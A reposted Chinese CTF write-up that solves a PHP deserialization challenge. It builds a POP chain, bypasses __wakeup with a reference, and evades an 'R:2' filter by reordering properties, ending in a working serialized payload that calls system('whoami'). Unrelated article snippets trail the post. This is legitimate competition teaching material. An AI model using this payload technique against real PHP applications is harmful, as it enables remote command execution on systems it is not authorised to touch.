“铸网2025”山东省工业和互联网CTF竞赛-web

news/2025/9/26 11:04:47/文章来源:https://www.cnblogs.com/Pr0x1ma/p/19113102

源码

<?php
highlight_file(__FILE__);
class MGkk8
{public $a;public $b;public function rpl2(){$b = $this->b;if ($this->a == "RPG") {($b->a)($b->b."");}}
}
class KOkjs
{public $a;public $b;public function __toString(){$this->a->rpl2();}
}
class u1Y7U
{public $a;public $b;public function __toString(){$this->a->TiYM6();}
}
class QMRb7
{public $a;public $b;public function TiYM6(){$this->b->learn();}
}
class y97pu
{public $a;public $b;public $c;public function __invoke(){$this->a = $this->b."__INVOKE__";}public function __destruct(){$this->b = $this->c;die($this->a);}public function __wakeup(){$this->a = "";}
}
class m1_99
{public $a;public $b;public function __call($t1,$t2){$s1 = $this->b;$s1();}
}if(isset($_REQUEST['a'])){$c = $_REQUEST['a'];if(stripos($c,'R:2')!== false){die("no Reference");}unserialize($c);
}else {}

在现场没做出来,怎么也绕不过去那个wakeup,也没想明白那个检测R:2是为什么,回来在本地复现了一下感觉还是蛮简单的

首先明确pop链

MGkk8.rp12() -> KOkjs.__toString() -> y97pu.__destruct()

链子还是很简单的

关于y97pu.__destruct()中触发KOkjs.__toString()的原理,先看php手册,die()就是exit()

图片

说明了如果exit当中有字符串的话会先将字符串打印再结束程序,在本地测试一下

图片

是可以触发类中的__toString的,因此可以从y97pu.__destruct()链到KOkjs.__toString()

php在反序列化时如果有wakeup,那么会先执行wakeup再进行unserialize,题目中的wakeup将a给置空了,因此在反序列化时a就为空,无法触发链条,那么该怎么绕过呢?

注意到,在y97pu.__destruct()中的die()之前有一个将c赋给b的操作,于是我们可以用引用将$a->b 设置为 $a->a 的引用,于是$a->b 现在和 $a->a 指向同一块内存,这时我们修改b的值的时候就相当于在修改a的值,就可以通过$this->b = $this->c;将c的值通过b赋给a,进而触发链条,我们可以构造以下链条:

<?php
error_reporting(0);
class MGkk8
{public $a = 'RPG';public $b;
}
class KOkjs
{public $a;public $b;
}
class u1Y7U
{public $a;public $b;
}
class QMRb7
{public $a;public $b;
}
class y97pu
{public $a;public $b;public $c;
}
class m1_99
{public $a;public $b;
}$a = new y97pu();
$a -> b = &$a -> a;
$a -> c= new KOkjs();
$a -> c = new KOkjs();
$a -> c -> a = new MGkk8();
$a -> c -> a -> b = new QMRb7();
$a -> c -> a -> b -> a = 'system';
$a -> c -> a -> b -> b = 'whoami';echo serialize($a);
//O:5:"y97pu":3:{s:1:"c";O:5:"KOkjs":2:{s:1:"a";O:5:"MGkk8":2:{s:1:"a";s:3:"RPG";s:1:"b";O:5:"QMRb7":2:{s:1:"a";s:6:"system";s:1:"b";s:6:"whoami";}}s:1:"b";N;}s:1:"b";N;s:1:"a";R:9;}

但是这里出现了R:2,那么这个R:2该怎么绕过呢?

php对象的序列化是按顺序处理的,序列化时会依次对进行序列化的对象创建一个编号,这里b引用的是第二个被序列化的对象也就是a,因此就是R:2,知道了R后面数字的含义,绕过就很简单了,只需要将y97pu中的a和c换个位置就会改变序列化的顺序,从而让R后面的数字改变

payload:

<?php
error_reporting(0);
class MGkk8
{public $a = 'RPG';public $b;
}
class KOkjs
{public $a;public $b;
}
class u1Y7U
{public $a;public $b;
}
class QMRb7
{public $a;public $b;
}
class y97pu
{//这里将a和c的位置交换了public $c;public $b;public $a;
}
class m1_99
{public $a;public $b;
}$a = new y97pu();//new y97pu() : 1
$a -> c= new KOkjs();//new KOkjs() :2
$a -> b = &$a -> a;//a : 9
$a -> c = new KOkjs();//new KOkjs() : 3
$a -> c -> a = new MGkk8();//new MGkk8() : 4
//$a -> c -> a -> a = 'RPG';//a : 5
$a -> c -> a -> b = new QMRb7();//b : 6
$a -> c -> a -> b -> a = 'system';//a : 7
$a -> c -> a -> b -> b = 'whoami';//b : 8echo serialize($a);
//O:5:"y97pu":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";O:5:"KOkjs":2:{s:1:"a";O:5:"MGkk8":2:{s:1:"a";s:3:"RPG";s:1:"b";O:5:"QMRb7":2:{s:1:"a";s:6:"system";s:1:"b";s:6:"whoami";}}s:1:"b";N;}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/918152.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

辽宁模板网站建设公司晋州做网站的联系电话

深入miniqmt&#xff1a;创建交易对象的完整指南 在量化交易领域&#xff0c;miniqmt作为一个强大的工具&#xff0c;为开发者提供了执行程序化交易的接口。在进行任何交易操作之前&#xff0c;首先需要创建一个交易对象。本文将详细介绍如何在miniqmt中创建并配置交易对象&am…

python+springboot+uniapp微信小代码“美好食荐”框架 美食推荐 菜谱展示 用户互动 评论收藏框架

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

领嵌iLeadE-588网关AI边缘计算盒子一键部署二次开发

扩展接口丰富: 供电 12V 指示灯 5V电源指示灯 RS485 3路隔离RS485 RS232 1路调试串口 CAN 2路隔离CAN DI 4路 DO 4路 HDMI 1路 Audio 1路 AHD摄像头 4路 Ethernet 4路 4G/5G 1路 WiFi/BT 1路 USB3.0 OTG 1路 程序烧录…

2025年值得选的文件摆渡系统品牌解析

在数据安全与传输效率需求并行的当下,文件摆渡系统品牌已成为企业跨网协作的核心工具。传统传输方式常因安全漏洞与管理低效,导致数据泄露风险与运维成本攀升。而专业品牌如Ftrans Ferry跨网文件安全交换系统,通过自…

分布式专题——14 RabbitMQ之集群实战 - 指南

分布式专题——14 RabbitMQ之集群实战 - 指南2025-09-26 10:57 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: b…

QT与Spring Boot通信:实现HTTP请求的完整指南 - 教程

QT与Spring Boot通信:实现HTTP请求的完整指南 - 教程pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas&qu…

全球知名的Java Web开发平台Vaadin上线慧都网!

近日,慧都科技正式与国际知名的企业级Java Web开发平台供应商Vaadin达成合作伙伴关系。双方的合作,不仅补强了慧都在前端与应用开发领域的能力,更标志着慧都在软件工程数字化方案版图上的进一步扩展与深化,也为中国…

C#实现与欧姆龙PLC通信

C#实现与欧姆龙PLC通信,整合了FINS-TCP协议实现和主流开发框架:一、通信方案选型对比协议类型 适用场景 开发复杂度 推荐库FINS-TCP 欧姆龙设备专用通信 中等 HslCommunicationModbus TCP 多品牌设备通用通信 高 NMo…

linux docker 配置外网拉镜像

1. 先安装代理 https://github.com/nelvko/clash-for-linux-install?tab=readme-ov-file 2. sudo mkdir -p /etc/systemd/system/docker.service.d sudo nano /etc/systemd/system/docker.service.d/http-proxy.c…

棋牌网站搭建平台wordpress 地区联动

1. 引言 之前的文章ABP入门系列&#xff08;7&#xff09;——分页实现讲解了如何进行分页展示&#xff0c;但其分页展示仅适用于前台web分页&#xff0c;在后台管理系统中并不适用。后台管理系统中的数据展示一般都是使用一些表格插件来完成的。这一节我们就使用BootstrapTab…

什么是跨网文件摆渡系统?IT运维效率提升300%的秘密武器

很多行业和企业为了保障核心数据安全,通常会采用网络隔离策略,将内网与外网,或内部子网(如测试网、生产网、办公网、研发网等)进行物理或逻辑隔离。隔离之后,就需要跨网文件摆渡系统来支撑业务的开展。但是受到网…

深入解析:PyTorch 神经网络工具箱核心内容

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

借助Aspose.Email,在 Python中创建事件日历

Aspose.Email for Python via .NET是一款款 Outlook SDK ,是快速、安全且开发人员友好的自动日历安排解决方案。借助它,您以编程方式创建会议/活动。在本指南中,我们将演示如何借助Aspose.Email使用 Python 创建。在…

实用指南:【JavaEE初阶】多线程重点知识以及常考的面试题-多线程进阶(三)

实用指南:【JavaEE初阶】多线程重点知识以及常考的面试题-多线程进阶(三)pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-fam…

C++ map 和unordered_map 的区别

C++ map 和unordered_map 的区别C++中的map和unordered_map是两种常用的关联容器, 主要区别如下: 1. ‌底层实现‌ ‌ map‌:基于红黑树(自平衡二叉搜索树)实现,元素按键值自动排序 。 ‌unordered_map‌:基于哈…

快速建设网站免费视频教程网络黄页推广软件下载

什么是ELK ELK 并不是一个技术框架的名称&#xff0c;它其实是一个三位一体的技术名词&#xff0c;ELK 的每个字母都来自一个技术组件&#xff0c;分别是 Elasticsearch&#xff08;简称 ES&#xff09;、Logstash 和 Kibana。 三个技术组件是独立的&#xff0c;后两个被elast…

阿里云边缘安全加速ESA

最近要网站被攻击,需要安全产品进行防护,WAF又太贵,阿里云边缘安全加速ESA是个不错的选择。 而且最近搞活动,可以免费领取每月基础套餐,领取链接: http://s.tb.cn/e6.0Fu67m 测速效果还不错

本土项目管理工具Gitee如何助力企业数字化转型

本土项目管理工具Gitee如何助力企业数字化转型 在数字化转型的浪潮席卷各行各业的当下,项目管理工具已成为企业提升协作效率的关键基础设施。作为国内领先的一站式研发管理平台,Gitee凭借其全流程管理能力和深度本土…

广州企业建设网站设计网站做的工作步骤是

前言 关于什么是weak关键字可以去看看我以前的一篇博客&#xff1a;【OC】 属性关键字 weak原理 1. SideTable SideTable 这个结构体&#xff0c;前辈给它总结了一个很形象的名字叫引用计数和弱引用依赖表&#xff0c;因为它主要用于管理对象的引用计数和 weak 表。在 NSOb…